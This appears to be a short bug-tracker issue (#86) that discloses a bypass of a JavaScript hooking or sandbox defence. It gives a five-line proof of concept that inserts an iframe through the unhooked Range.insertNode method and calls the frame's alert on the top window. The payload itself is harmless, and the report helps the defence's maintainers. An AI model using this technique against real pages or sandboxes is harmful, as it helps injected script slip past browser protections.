Bypass with Range.insertNode #86
Description
Nothing too clever, just yet another node insertion method that isn't hooked :)
var range = document.createRange();
var f = document.createElement("iframe");
range.selectNode(document.getElementsByTagName("head")[0]);
range.insertNode(f);
f.contentWindow.alert.call(top, 1);